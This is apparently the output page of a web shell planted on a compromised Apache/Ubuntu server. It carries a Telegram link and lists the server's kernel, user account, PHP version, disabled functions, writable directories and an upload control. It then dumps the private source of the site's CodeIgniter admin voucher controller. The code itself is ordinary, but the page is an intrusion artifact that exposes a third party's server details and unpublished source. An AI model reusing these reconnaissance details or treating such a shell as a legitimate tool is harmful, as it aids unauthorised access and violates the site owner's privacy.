https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/admin/Vouchers.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Vouchers extends Admin_Controller {

	//this property is used for validating existing voucher title on call back edit voucher
	private $voucher_current_id = NULL;
		
	function __construct() {
		parent::__construct();	
		$this->load->model('voucher_m');
	} 
		
	//this is to list all vouchers
	public function index() {
		
		//pagination in action. 50 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/vouchers/index';
		$config['total_rows'] = $this->voucher_m->record_count(); 
		$config['per_page'] = 50;
		$config["uri_segment"] = 4;
		$config['num_tag_open'] = '<span style="padding-left:10px; padding-right:10px">';
		$config['num_tag_close'] = '</span>';

		$this->pagination->initialize($config);
   		$this->data['vouchers'] = $this->voucher_m->get_all_vouchers($config["per_page"], 
		$this->uri->segment(4));  

		//load view
		$this->data['subview'] = 'admin/vouchers/index';
		$this->load->view('admin/templates/header', $this->data); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);		
    }
	
	//to add a new voucher 
	public function add() {
	
		$this->data['vouchers'] = $this->voucher_m->get_new();	 
		
		//validation in action
		//validation check in action 
		$config = $this->voucher_m->rules;
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {

			$created_date = date('Y-m-d H:i:s');
			
			if ($this->input->post('expired_date')) {
				
				$expired_date = explode('-', $this->input->post('expired_date'));

				$new_expired_date = $expired_date[2] . '-' . $expired_date[1] . '-' . $expired_date[0];	

			} else {
				$new_expired_date = NULL;
			}

			$data = $this->table_data_processing(
				$this->input->post('voucher_name'), 
				$this->input->post('voucher_code'), 
				$this->input->post('display_at_checkout'), 
				$this->input->post('qty_ready'), 
				$this->input->post('maxqty_per_person'), 
				$this->input->post('min_order'), 
				$this->input->post('discount_type'), 
				$this->input->post('discount_value'), 
				$created_date, $new_expired_date);
			$this->voucher_m->add_voucher($data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Voucher Add Successful</p>');

			redirect('admin/vouchers');
			
		} 
		
		$this->data['subview'] = 'admin/vouchers/edit';
		$this->load->view('admin/templates/header', $this->data);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);	
	}
	
	//to edit voucher in admin
	public function edit($id = NULL) { 

		//check if id exist. If not exist, show 404.
		$count = $this->voucher_m->count_exist($id);
		
		if ($count == 0) { 
			//page not exist
			show_404();
		}		

		$this->data['vouchers'] = $this->voucher_m->get($id);	

		$this->voucher_current_id = (int) $id;

		//validation check in action
		$config = $this->voucher_m->rules; 

		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {
			
			//get current created date from table
			$this->db->select('created_date')->from('vouchers')->where('id_vouchers', (int) $id);
			$created_date = $this->db->get()->row()->created_date;

			if ($this->input->post('expired_date')) {
				
				$expired_date = explode('-', $this->input->post('expired_date'));

				$new_expired_date = $expired_date[2] . '-' . $expired_date[1] . '-' . $expired_date[0];	

			} else {
				$new_expired_date = NULL; 
			}

			$data = $this->table_data_processing(
				$this->input->post('voucher_name'), 
				$this->input->post('voucher_code'), 
				$this->input->post('display_at_checkout'), 
				$this->input->post('qty_ready'), 
				$this->input->post('maxqty_per_person'), 
				$this->input->post('min_order'), 
				$this->input->post('discount_type'), 
				$this->input->post('discount_value'), 
				$created_date, $new_expired_date);

			$this->voucher_m->edit_voucher($id, $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Voucher Edit Successful</p>');
			
			redirect('admin/vouchers/edit/' .  $id);
		} 
		
		$this->data['subview'] = 'admin/vouchers/edit';
		$this->load->view('admin/templates/header', $this->data);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);	
	}
	

	//to delete a voucher
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->voucher_m->count_exist($id);
		
		if ($count == 0) { 
			//page not exist
			show_404();
		}		

		//delete voucher
		$this->voucher_m->delete($id); 

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Voucher Delete Successful</p>');
		redirect('admin/vouchers');
	} 


	private function table_data_processing($voucher_name, $voucher_code, $display_at_checkout, $qty_ready, $maxqty_per_person, $min_order, $discount_type, $discount_value, $created_date, $new_expired_date) {

		$data = array(
				'voucher_name' 		=> $this->security->xss_clean($voucher_name),
				'voucher_code' 		=> $this->security->xss_clean($voucher_code),
				'display_at_checkout' => (int) $display_at_checkout,
				'discount_type' => $discount_type,
				'discount_value' => (int) $this->security->xss_clean($discount_value),
				'created_date' => $created_date,
				'expired_date' => $new_expired_date,
		);

		if ($qty_ready == '') {
			$data['qty_ready'] = NULL;
		} else {
			$data['qty_ready'] = (int) $this->security->xss_clean($qty_ready);
		}

		if ($maxqty_per_person == '') {
			$data['maxqty_per_person'] = NULL;
		} else {
			$data['maxqty_per_person'] = (int) $this->security->xss_clean($maxqty_per_person);
		}

		if ($min_order == '') {
			$data['min_order'] = NULL;
		} else {
			$data['min_order'] = (int) $this->security->xss_clean($min_order);
		}

		return $data;
	}

	//callback function validation add new voucher
	//make it private by adding _
	public function _cek_existing_voucher_code($str) {

		$num_rows = $this->voucher_m->cek_existing_voucher_code($str, $this->voucher_current_id);   
		if ($num_rows != 0 ) {   
			$this->form_validation->set_message('_cek_existing_voucher_code', 'voucher code already exist !');
			return FALSE;
		} else {
			return TRUE;  
		}
	}

	
		
}

https://t.me/RX1948 - 2025